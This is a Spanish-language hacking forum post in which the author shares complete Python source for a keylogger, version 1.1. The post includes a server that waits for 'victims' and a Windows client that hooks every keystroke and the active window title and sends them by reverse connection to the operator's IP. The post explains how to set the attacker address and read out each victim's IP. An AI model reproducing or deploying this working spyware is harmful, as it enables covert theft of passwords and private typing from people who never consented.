Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked Keylogger v1.1 [By Expermicid]


Expermicid

Recommended Posts

Hola a todos! Despues de dos dias, aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas.

 

Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.

Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.

 

Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.

 

Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)

 

Codigos:

 

Servidor:

 

[lenguaje=python]#!/usr/bin/env python

# -*- coding: utf-8 -*-

 

##########################################

## ##

## Keylogger v1.1 ##

## By Expermicid ##

## Fecha inicio : 16/10/12 ##

## Fecha fin : 18/10/12 ##

## Servidor ##

## ##

##########################################

 

import socket

import os, sys

 

def ImprimirCabecera() :

print ' ####################################################'

print ' #### ####'

print ' #### Keylogger v1.1 --- By Expermicid ####'

print ' #### ####'

print ' ####################################################'

 

def CrearArchivo() :

archivo=open('Logs.txt','w')

archivo.close()

 

def EscribirArchivo(texto) :

archivo=open('Logs.txt','a')

archivo.write(texto)

archivo.close()

 

def Capturar(s, sc, opc2) :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### CAPTANDO TECLAS ####'

print ' ####################################################\n'

print '--------------------------------------------------------------------------------\n'

if opc2 == '3' :

CrearArchivo()

EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n')

texto = ''

nombreWindows = ''

while True :

try :

recibido = sc.recv(1024)

except :

pass

else :

if len(recibido) > 0 :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### CAPTANDO TECLAS ####'

print ' ####################################################\n'

print '--------------------------------------------------------------------------------\n'

if recibido[0] == ':' :

letra = ':'

window = recibido[2:]

else :

letra = recibido.split(':')[0]

window = recibido.split(':')[1]

if opc2 == '1' :

if window != nombreWindows :

texto += '\n\n***' + window + '***\n\n'

nombreWindows = window

texto += letra

print texto

elif opc2 == '2' :

if window != nombreWindows :

EscribirArchivo('\n\n***' + window + '***\n\n')

nombreWindows = window

EscribirArchivo(letra)

elif opc2 == '3' :

if window != nombreWindows :

texto += '\n\n***' + window + '***\n\n'

EscribirArchivo('\n\n***' + window + '***\n\n')

nombreWindows = window

texto += letra

print texto

EscribirArchivo(letra)

 

def Desconectar(s, sc) :

while True :

comando = raw_input()

if comando == 'Q' or comando == 'q' :

sc.close()

s.close()

break

Main()

 

def Main() :

opc1 = ''

while opc1 != '1' and opc1 != '2' :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### MENU ####'

print ' ####################################################'

print ' #### 1) ver si hay victimas conectadas ####'

print ' #### 2) salir ####'

print ' ####################################################\n'

opc1 = raw_input('>>> ')

if opc1 == '2' :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### DESPEDIDA ####'

print ' ####################################################'

print ' #### Gracias por usar mi keylogger ####'

print ' #### Saludos, Expermicid ####'

print ' ####################################################\n'

raw_input()

elif opc1 == '1' :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### ESPERANDO VICTIMA ####'

print ' ####################################################\n'

host = ''

port = 5000

try :

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((host, port))

s.listen(3)

sc, addr = s.accept()

except :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### CONFLICTO ####'

print ' ####################################################'

print ' #### Ocurrio algun problema :( ####'

print ' ####################################################\n'

raw_input()

else :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### VICTIMA ####'

print ' ####################################################\n'

print 'Se conecto una victima :)' #sc.getpeername()

raw_input()

opc2 = ''

while opc2 != '1' and opc2 != '2' and opc2 != '3' :

sys.stdout.write(os.popen('clear').read())

ImprimirCabecera()

print ' #### CONEXION CORRECTA :) ####'

print ' ####################################################'

print ' #### OPCIONES ####'

print ' ####################################################'

print ' #### 1) ver teclas en consola ####'

print ' #### 2) guardar teclas en archivo ####'

print ' #### 3) ver en consola y guardar en archivo ####'

print ' ####################################################\n'

opc2 = raw_input('>>> ')

child_pid = os.fork()

if child_pid == 0 :

Capturar(s,sc,opc2)

else :

Desconectar(s,sc)

return

 

Main()[/lenguaje]

 

Cliente:

 

[lenguaje=python]# -*- coding: cp1252 -*-

 

##########################################

## ##

## Keylogger v1.1 ##

## By Expermicid ##

## Fecha inicio : 16/10/12 ##

## Fecha fin : 18/10/12 ##

## Cliente ##

## ##

##########################################

 

import socket

import pythoncom, pyHook

 

def OnKeyboardEvent(event) :

# letras minusculas y letras mayusculas

if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :

letra = chr(event.Ascii)

# numeros

elif event.Ascii > 47 and event.Ascii < 58 :

letra = chr(event.Ascii)

# F1 .. F12

elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :

letra = ' ['+event.Key+'] '

# Espacio

elif event.Ascii == 32 :

letra = chr(event.Ascii)

# Enter

elif event.Ascii == 13 :

letra = '\n'

# BackSpace

elif event.Ascii == 8 :

letra = '[backSpace]'

# Escape

elif event.Ascii == 27 :

letra = '[Escape]'

# Tab

elif event.Ascii == 9 :

letra = chr(event.Ascii)

# Flechas

elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :

letra = '['+event.Key+']'

# Bloq Mayus

elif event.KeyID == 20 and event.Ascii == 0 :

letra = '[bloqMayus]'

# caracteres

elif event.Ascii > 32 and event.Ascii < 48 :

letra = chr(event.Ascii)

# caracteres

elif event.Ascii > 57 and event.Ascii < 65 :

letra = chr(event.Ascii)

# caracteres

elif event.Ascii > 90 and event.Ascii < 97 :

letra = chr(event.Ascii)

# caracteres

elif event.Ascii > 122 and event.Ascii < 127 :

letra = chr(event.Ascii)

# Insetar / Delete

elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :

letra = ' ['+event.Key+'] '

# ascii extendido

elif event.Ascii > 127 and event.Ascii < 255 :

letra = chr(event.Ascii)

# Flechas

elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :

letra = '['+event.Key+']'

# Win / Apps

elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :

letra = '['+event.Key+']'

# Inicio-Fin / RePag-AvPag

elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :

letra = '['+event.Key+']'

# caracter Ž

elif event.KeyID == 222 and event.Ascii == 0 :

letra = '´'

try :

s.send(letra+':'+event.WindowName)

except :

pass

 

return True

 

try:

host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda

port = 5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

except :

pass

else:

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()[/lenguaje]

 

NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.

NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.

 

Video:

 

This is the hidden content, please

 

Saludos

Edited by Expermicid
Link to comment
Share on other sites

  • 3 weeks later...
Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.